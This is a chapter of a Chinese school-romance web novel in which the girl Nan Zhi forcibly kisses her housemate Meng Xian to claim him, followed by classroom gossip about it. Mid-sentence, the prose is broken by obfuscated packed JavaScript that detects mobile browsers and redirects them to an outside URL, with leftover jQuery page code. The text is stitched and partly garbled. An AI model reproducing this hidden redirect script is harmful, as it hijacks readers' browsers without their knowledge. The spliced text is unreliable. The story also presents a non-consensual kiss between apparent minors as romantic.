开了近十分钟的车,老白粗犷的脑神经终于察觉到了诡异之处。
南知平常虽然不怎么多话,但孟献可是个话痨。按照以往,车子里早已经喋喋不休吵吵闹闹大半天了。
可今天下午,后座两人从上车后,愣是半点动静都没发出。
老白从后视镜里看过去。
南知端端正正地做好,低头翻阅手里的漫画书,全神贯注,不受任何打扰。
孟献则身子歪靠在后座,右手抵着下唇,脑袋也跟着朝车窗外看去,看不清表情,但能感受到他周身散发的迷茫。
“阿献。”
“昂?”孟献近乎是慢半拍地转回头,应了一声。
老白:“你嘴巴没事吧?”
“……”
没有听到对方的回答,老白又问了句,“我看你一直在摸嘴巴,发炎了还是嘴巴干?”
孟献的手不自然地从唇上放下,回了句“没事”。
南知的注意力也从漫画中短暂抽离,眨巴眼,跟着侧头问道:“你嘴巴疼吗?”
“……”
憋着的一口气被始作俑者轻飘飘地提起来,孟献恶狠狠地瞪了她一眼,“关你屁事!”
老白被他突然加重的语气吓了一跳,开始考虑要不要靠边停车,这样也好在他俩吵架的时候及时劝和。
但南知却没什么激烈反应,仅仅斜了孟献一眼,淡声说:“当然关我事。”
这一路,她的注意力看似在漫画上,实际是在反思下午的行动。
魏妮的建议她听进去了。
只不过,孟献的身上没有她的名字,那么只能用这种方式,向其他人证明孟献是她的。
她第一次干这种事,整体感觉良好,当然如果孟献没有第一时间扔下她跑走就更好了。
不然她非得让宋清雨当面保证,以后不再主动靠近孟献。
孟献被她轻描淡写的语气激得又噎又气,胸口有种炸裂感,但因老白在场,只能硬生生憋了回去。
脑仁都跟着发疼。
孟献不想理她,更不想给她半分眼神。
连晚上一起吃饭的时候,都只埋头苦吃,一个抬眼的动作都没有。
而南知则像是没发现他的异常,没事人一样地该吃吃,该喝喝,吃完饭还加班加点,又画了一幅画。
两个人房间离得近,虽然不看南知,但她所有的行动都尽收眼底。
孟献心里那股火又不由自主地燎起来了。
半夜,南知睡得正熟,忽然听见隐隐约约的敲门声。
睁眼在漆黑的房间里缓了好一会儿,才确定那声音的确来自她的房门外。
打开房门,孟献还穿着下午放学回来的校服,脸上挂着阴沉沉的相。
南知穿着睡衣倚在门边,看似清醒,实则迷糊,茫然道:“很晚了,你打扰我休息。”
孟献闻言,嘴角泛起一丝冷笑,配合着他阴沉的表情,颇有一番“山雨欲来”的味道。
“那你睡眠质量可真好,这样都能睡得着。”他嘲讽道。
南知不解,为什么会睡不着?
孟献提着一口气,沉声道:“下午的事,你不应该给我一个合情合理的解释。”
他将“合情合理”这四个字语气加重。
南知脑子没转过弯来,“什么事?”
见她无知无觉,还把自己做过的事忘得一干二净,孟献真的快要被气疯。
干出这种事的人是她,现在却把自己摘的干干净净。
杀完人放完火,连收拾犯罪现场的意思都没有,她竟然还想安安稳稳,一觉睡到大天亮!
孟献荒谬醒悟,他竟然被她欺负到了这种地步。
“下午为什么亲我?”孟献直接问出了口,表情沉着,一双眼睛死死盯着面前这人。
仿佛她的回答,令他有一个不满意,他就要张嘴咬死她。
南知的睡意在一问一答中渐渐褪却,此刻终于清醒过来。
她沉思了片刻,似乎在斟酌组织语句,该如何用一番长篇大论陈述作案动机。
但片刻后,孟献只听见了两个字:“盖章。”
孟献没法对这个回答满意,“什么意思?”
南知说:“给你盖章,证明你是我的人。”
解释了又像没解释,这种含糊其辞的答案,孟献没法接受。
“为什么要证明?向谁证明?证明了又能怎样?”
三个问题没有停顿,一连问出口,生怕南知有找借口的时间。
南知看着面前的人,心想,她在某些事情上不解释,不代表她要存心掩饰。
“因为我不高兴。”南知坦然道。
既没有这个年龄的羞涩,也没有半分不自然,她连宣誓主权这种事都做得理所当然。
孟献眉心拧起,等她继续说下去。
南知:“我不高兴,因为宋清雨一再接近你,从暑假的海岛,到开学后的加你微信,每天去找你,给你送饮料,这些事,我很不高兴。我让她别再靠近你,但她说我没资格说这种话。”
她说起这个还颇为苦恼,“那就只能用这种办法了。”
“……”
孟献越听越怀疑自己听错,她知不知道自己在说什么,这些话听起来和女朋友吃醋嫉妒一模一样。
可,他和南知不是这样的关系。
南知也不会从一个还没进化完全的原始人,变成一个懂得谈情说爱,情窦初开的少女。
孟献眼中的震惊,不亚于看到一只爬行动物,瞬间直立行走,然后开始说人话。
“你,”孟献顿了下,接着缓声问她,“你知道自己在说什么吗?”
你明白自己说的每句话是什么意思吗?
南知奇怪地看他:“当然知道。”
孟献定定地注视着她,再次提醒,“南知,我是孟献。”
不是甲乙丙丁,不是走在大街上随便遇到的某个陌生人。
你说的话,真的是在对孟献说吗?
你要证明“你是我的”这四个字里,“你”代表孟献,“我”代表南知。
你确定吗?
南知有些不耐烦了,好端端的又做什么自我介绍。
她现在最烦自我介绍了!
“你是被明码标价买来陪我的,就得一辈子待在我身边。”南知扬头说道,“既然是我的东西,我就拥有所有权。没有经过我的允许,其他人不能靠近你半分。”
“而你,”她掷地有声道,“也不准随便和别人近距离接触,我不准别人用我的东西!”
“……”
狗屁!
孟献冷笑,没开化就是没开化,野人怎么会变成少女!
爬行动物的确会说话了,可说的跟人话没有半毛钱关系。
孟献沉声道:“这种傻/逼话趁早咽回肚子里,下次再拿出来说,我就揍死你!”
“还有,我只跟我女朋友亲嘴,你要再敢亲我,打断你的腿!”
他把话丢下转头就走,却没看见南知一瞬间冷下来的脸色。
孟献没走出两步,忽然身后一股力道裹挟而来,将他按在了墙上。
“咚”的声响,孟献的脊椎骨狠狠往后磕了下,但他没来得及查看伤情,下午的事情又重演了一遍。
他放的狠话在南知耳里如同空气,没有过滤就随风而散。
亲过一次已有经验,这次南知用力按住了他,唇与唇也不再是单纯的轻触相贴。
孟献察觉到自己的嘴唇被完全舔湿,然而舔湿还不够,对方还想撬开他的牙齿,往里探索……
孟献也有受害者的自觉,一动也不敢动,比下午还要懵/逼,双手摆在身体两侧,像是没电的机器人,不知道下一步该做什么。
然而,这不能怪他。
因为两人身高的差距,南知做出这个动作时,整个人完全嵌在了他的怀里。
睡衣单薄,她身体的弧度一览无余地被孟献感知到。
纤细的腰,微鼓的胸脯,还有柔软的皮肤……
后背的脊椎骨还在隐隐作痛,孟献完全没有反击施暴者的念头,他快要被南知彻底整疯了!
她不是妹妹,也不是朋友,她是他祖宗!
“你放开我!”在南知的舌头缠上来的前一秒,孟献终于找到了理智,将她从自己身上推了下去。
推下去,还不忘护着她的腰,怕她摔倒在地上。
孟献见她站稳,忍不住在心里骂了一声,他简直窝囊死!
没见过哪个受害者要保护凶手的!
南知呼吸有些乱,眼睛直勾勾地看着他,视网膜上生理性地泛着一层水光,喘着粗气,显然这样一番动作,也耗尽了她不少力气。
小猫哈气。
孟献偏过脸,抿了下唇,担心自己笑出声。
神经病,他没忍住又骂自己。
这个时候,竟然还笑的出来。
南知喘够了,恢复了点力气,说不上挑衅,但听在孟献耳里,就是那个意思。
“你要打断我的腿吗?”她伸直右腿,“你打吧。”
孟献没法打断她的腿,就连他自己的腿都有些发软。
孟献低头,无奈地按了按眉心。
南知往前迈了一步,孟献看见她的鞋尖移动,立即出声制止,“你给我站好。”
“不要。”南知淡声拒绝了他的提议,踮脚,这次却只亲到了他的下巴,因为孟献及时仰起了头。
“你有病啊!”孟献忍不住骂了句,伸手捏住她的下巴,“你亲上瘾了是吧!”
南知点头,一本正经:“嗯,有点上瘾。”
“……”
操,这不是一个问句。
你别给我装模作样的回答。
“我说过了,只有我女朋友能亲我。”孟献不得不再次重申,“你给我好好想想。”
他看着这张脸,数十年看过来的一张脸,低语:“想好了,再过来……亲。”
南知眨了下眼,目光安静。
孟献心头忐忑,等着她说话,但南知一句话也没说。
他亲眼看着她瞳孔中的那抹水光渐渐消散。
垫起来的脚放下,南知往后退了一步,两人之间的距离却仿佛在这放下退后的刹那动作里拉的好远。
孟献心里燎起来的火焰从旺盛渐渐减弱,继而缩小成一粒羸弱的火种。
后背脊椎骨的痛忽然变得明显。
说不清道不明的失望以绝对性的优势压倒了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235298|181850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
愤怒,他这次连发火的念头都没了。
“你……”孟献说了一个字,就再也说不下去了。
他忍不住嘲笑自己,又被南知给耍了。
“你呢?”南知忽然出声。
“什么?”孟献自嘲的笑僵在唇角,不明所以,抬眼看她。
“你叫我想,那你想了吗?”
“我已经想过很多年。”
南知那双淡漠冷静的眼底绽开浓重的鄙夷和蔑视。
“可你,”她语气平淡,吐字清晰,“从头到尾,都是傻/逼。”
“……”
几句话让孟献如遭雷击,在他愣住的当口,南知回了房,房门被轻轻合上。
但夜色中,这点细微的动静,足以让人惊醒。
孟献回过神,想问问她什么叫“想过这么多年”,什么又叫“从头到尾都是傻/逼”。
然而,走廊里再没有南知的身影,唯有被搅动的空气无声流过,叫他神魂难消。
众目睽睽之下的强吻事件,不到一个晚上就传播开来。
南知第二天一到教室,魏妮就一脸兴奋地跑向她。
“小知小知,跟你说一个爆炸消息!”
南知在座位上坐下,将书包放下来,随口问:“什么消息。”
魏妮话到嘴边,又硬生生憋了回去,神秘兮兮道:“你猜。”
南知有些困,揉了揉眼睛,“我猜不着。”
魏妮手捂在嘴边,凑近南知,压低了声音。
南知因为她凑近的动作,神色僵硬几分,下意识往后移了下,她不习惯跟别人靠这么近。
幸好魏妮所有的注意力都在即将要说出口的爆炸性消息上,也没察觉她的躲避。
“昨天下午,孟献被人强吻了。”魏妮说完,眼也不眨地看着南知,等着她脸上的表情发生变化。
兴奋、好奇、惊讶……随便什么都行,这种事情,不能让她自己一个人癫狂。
然而南知只是说了声“哦”,就再也没有反应,打开书包,把里面的东西一件一件往外掏。
魏妮等着她的下文,她相信在这种爆炸性消息面前,短暂的平静后,是掀起来的惊天巨浪。
但两分钟后,南知掏空了书包,奇怪看她还站在这里,“还有事吗?”
魏妮:“……”
“你没听见我说的话吗?”魏妮不由怀疑自己,是她太大惊小怪了吗?这种事难道就只值一个“哦”字吗?!
南知说:“我听见了。”
魏妮一脸的匪夷所思:“那你怎么没有反应,你不好奇孟献怎么会被强吻,强吻他的人是谁……”
南知问:“你知道是谁亲了他?”
这才对嘛,魏妮欣慰,这才是一个正常人应该有的反应。
但很可惜,魏妮惭愧摇头,“这个我还不知道,不过你放心,我一会就去打听,打听出来第一时间告诉你。”
“你不用去打听了。”南知对她说,“我现在就可以告诉你。”
“你知道是谁?”魏妮惊讶,后知后觉,失望道,“原来你早就知道,怪不得一点都不兴奋,是不是早就兴奋过头了……”
在她絮絮叨叨时,门口忽然传来一道声音。
“南知。”
魏妮回头,第一反应是自己出现了幻觉,用力揉了揉眼睛,但人还是那个人。
刚才提及到的八卦中心的人。
南知跟着看过去。
孟献迎着她的目光,喉咙下意识滚了下,然后朝她走来。
“你忘记拿奶了。”
她桌面乱糟糟的,乱七八糟的东西到处都是,孟献找了半天,才在角落找了个空隙,给她把牛奶放下。
“快点喝掉。”孟献说完,转身就走,看起来并不想在这里多待一秒。
找了半天的牛奶终于出现,南知打开盖子,喝了一口。
一瓶牛奶快喝完见底的时候,旁边石化了半天的魏妮终于有了反应。
她僵硬转过头,指着南知手里的牛奶,“这是什么?”
南知喝完最后一口,晃了晃空瓶,“牛奶瓶。”
魏妮:“谁给你送来的?”
“孟献。”
“他为什么给你送牛奶?”
“因为我忘拿了。”
“……”
“……”
不要进行这种没营养的对话!
这些是重点吗?!
魏妮的脑子飞速旋转,但信息太多,CPU快要□□烧,也没法处理一个简单情节。
好久,魏妮恢复了镇定,问出了第一个问题。
“你跟孟献怎么会认识?”
“别人介绍的。”
“谁?”
“一个和尚。”南知说。
“什么玩意儿?”魏妮感觉自己的脑子又开始旋转起来了,这年头,和尚还有这种业务!
这种事说来话长,南知不太想讲。
索性转移话题,“你不是想知道谁强吻孟献的吗?”
魏妮潜意识觉得这个答案是她不能承受之重,她想要拒绝,但脑袋却很诚实地点了下。
“谁啊?”
南知看着她凝重的表情,轻笑了下,“是我啊。”